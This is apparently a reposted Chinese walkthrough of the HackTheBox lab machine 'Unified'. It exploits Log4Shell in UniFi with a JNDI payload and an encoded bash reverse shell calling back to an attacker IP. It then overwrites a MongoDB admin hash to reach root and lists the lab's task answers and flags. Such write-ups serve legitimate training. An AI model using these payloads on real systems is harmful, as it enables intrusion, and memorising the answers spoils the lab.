• HackTheBox-Starting Point--Tier 2---Unified



    一 Unified 测试过程


    1.1 打点

      1.端口扫描

    nmap -sV -sC 
    
    • 1

      2.访问8080端口

      页面跳转到:https://10.129.96.149:8443/manage/account/login?redirect=%2Fmanage
      观察到版本号为unifi 6.4.54
    在这里插入图片描述
      3.搜索Unifi 6.5.54是否存在相关漏洞

      发现Unifi 6.5.54版本存在 CVE-2021-44228

    JNDI注入:
    ${jndi:ldap://10.10.14.20/whatever}"
    
    • 1
    • 2

    在这里插入图片描述

      虽然响应报错,但是${jndi:ldap://10.10.14.35/whatever}"正在执行

    在这里插入图片描述


    1.2 权限获取


      JNDI注入工具地址:https://github.com/welk1n/JNDI-Injection-Exploit

      使用JNDI注入工具进行反弹shell:

    # shell
    bash -i >& /dev/tcp/10.10.14.35/4444 0>&1
    
    • 1
    • 2
    # 对shell进行base64编码
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNS80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}
    
    • 1
    • 2
    # 工具执行
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNS80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" -A "10.10.14.35"
    
    • 1
    • 2

    在这里插入图片描述

    # 攻击机器执行监听
    ncat -lnvp 4444
    
    • 1
    • 2

      burpsuite执行payload:

    在这里插入图片描述

      获取到shell:

    在这里插入图片描述

      查找user.flag:

    在这里插入图片描述


    1.3 权限提升


      1.查看系统运行服务

    # 查看进程,发现mongod
    ps
    
    • 1
    • 2

    在这里插入图片描述

    # 运行在27117端口
    ps aux | grep mongo
    
    • 1
    • 2

    在这里插入图片描述

      2.尝试与mongodb数据库交互

      google搜索UniFi Default Database可以发现,UniFi默认数据库为ace

    mongo --port 27117 ace --eval "db.admin.find().forEach(printjson)"
    
    • 1

      输出可以看出,administrator用户与其他多个用户,密码为hash

    在这里插入图片描述
    在这里插入图片描述

      3.尝试获取administrator用户密码

    # 从$6$可知,密码采用SHA512
    $6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.
    
    • 1
    • 2

      既然无法破解,尝试是否可以使用新密码的sha 512 hash 替换原本的密码,使用mkpasswd工具:

    mkpasswd -m sha-512 新密码
    
    • 1

    在这里插入图片描述

    mongo --port 27117 ace --eval 'db.admin.update({"_id" : ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$nU10gu5LmDqVlHpK$FcKCyQI/SPV/L6oZEbqOLf1ukIk./E18MRnDLaiDY7PcTn/AF2k9p0C0F6qH1Ys6V30Hxc2.eSIQd.KKmrsNg1"}})'
    
    • 1

    在这里插入图片描述

      4.使用administrator:Test1234登录网站

      发现存在SSH登录身份验证设置:

    在这里插入图片描述

      5.获取到 root:NotACrackablePassword4U2022 使用ssh连接
    在这里插入图片描述

    二 题目


    Tags

    Web、Vulnerability Assessment、Databases、Injection、Custom Applications、Outdated Software、MongoDB、Java、Reconnaissance、Clear Text Credentials、Default Credentials、Code Injection
    
    译文:漏洞评估、数据库、注入、自定义应用程序、过时软件、MongoDB、Java、侦察、明文凭据、默认凭据、代码注入
    
    • 1
    • 2
    • 3

    Connect

    To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
    It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.
    
    译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
    HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。
    
    • 1
    • 2
    • 3
    • 4
    • 5

    SPAWN MACHINE

    Spawn the target machine and the IP will show here.
    
    译文:生成目标机器,IP 将显示在此处
    
    • 1
    • 2
    • 3

    TASK 1

    Which are the first four open ports?
    
    译文:前四个开放端口是哪四个?
    
    答:22,6789,8080,8443
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 2

    What is the title of the software that is running running on port 8443?
    
    译文:在端口 8443 上运行的软件的标题是什么?
    
    答:UniFi Network
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 3

    What is the version of the software that is running?
    
    译文:正在运行的软件版本是什么?
    
    答:6.4.54
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 4

    What is the CVE for the identified vulnerability?
    
    译文:已识别漏洞的 CVE 是什么?
    
    答:CVE-2021-44228
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 5

    What protocol does JNDI leverage in the injection?
    
    译文:JNDI在注入中使用什么协议?
    
    答:ldap
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 6

    What tool do we use to intercept the traffic, indicating the attack was successful?
    
    译文:我们用什么工具拦截流量,表明攻击成功?
    
    答:tcpdump
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 7

    What port do we need to inspect intercepted traffic for?
    
    译文:我们需要检查哪个端口的拦截流量?
    
    答:389
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 8

    What port is the MongoDB service running on?
    
    译文:MongoDB 服务运行在哪个端口上?
    
    答:27117
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 9

    What is the default database name for UniFi applications?
    
    译文:UniFi 应用程序的默认数据库名称是什么?
    
    答:ace
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 10

    What is the function we use to enumerate users within the database in MongoDB?
    
    译文:我们用什么函数来枚举MongoDB数据库中的用户?
    
    答:db.admin.find()
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 11

    What is the function we use to update users within the database in MongoDB?
    
    译文:我们用什么函数来更新MongoDB数据库中的用户?
    
    答:db.admin.update()
    
    • 1
    • 2
    • 3
    • 4
    • 5

    TASK 12

    What is the password for the root user?
    
    译文:root 用户的密码是什么?
    
    答:NotACrackablePassword4U2022
    
    • 1
    • 2
    • 3
    • 4
    • 5

    SUBMIT FLAG

    Submit user flag
    
    译文:用户flag
    
    答:6ced1a6a89e666c0620cdb10262ba127
    
    • 1
    • 2
    • 3
    • 4
    • 5

    SUBMIT FLAG

    Submit root flag
    
    译文:提交root flag
    
    答:e50bc93c75b634e4b272d2f771c33681
    
    • 1
    • 2
    • 3
    • 4
    • 5

  • 相关阅读:
    2024年腾讯云2核2G4M服务器并发承载能力大测试:性能数据一览无余!
    前端学习线路+学习资料 持续补充
    484-红黑树
    【排序14:存在重复元素】
    C 语言教程:条件和 if...else 语句
    MySQL中的中文报错--保姆级解决方法
    syslog和syslog watch实现
    两数之和-(哈希)
    nginx升级版本
    【Python从入门到进阶】34、selenium基本概念及安装流程
  • 原文地址:https://blog.csdn.net/sycamorelg/article/details/134373009